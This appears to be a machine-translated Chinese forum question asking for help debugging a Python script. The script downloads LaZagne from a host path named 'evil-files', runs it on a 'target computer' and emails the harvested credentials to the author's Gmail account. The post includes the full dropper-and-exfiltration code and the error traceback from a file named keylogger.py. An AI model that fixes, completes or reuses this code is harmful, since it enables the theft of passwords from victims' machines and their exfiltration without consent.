我想制作一个python程序,该程序将lazane软件下载并执行到目标计算机,然后将结果发送到我的邮箱中。但是有一些错误提示我要谢谢。
代码
import requests , subprocess, smtplib
def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as out_file:
out_file.write(get_response.content)
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
download("http://192.168.10.9/evil-files/lazagne.exe")
result = subprocess.check_output("lazagne.exe", shell=True)
send_mail("emmajuila909@gmail.com", "mypassword", result)
错误
回溯(最近通话最近):
中的文件“ C:/path/keylogger.py”,第18行result = subprocess.check_output("lazagne.exe", shell=True)
check_output中的文件“ C:\ New folder \ lib \ subprocess.py”,第411行
return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
文件“ C:\ New folder \ lib \ subprocess.py”,第512行,正在运行
raise CalledProcessError(retcode, process.args,
subprocess.CalledProcessError:命令“ lazagne.exe”返回了非零退出状态1。
以退出代码1完成的过程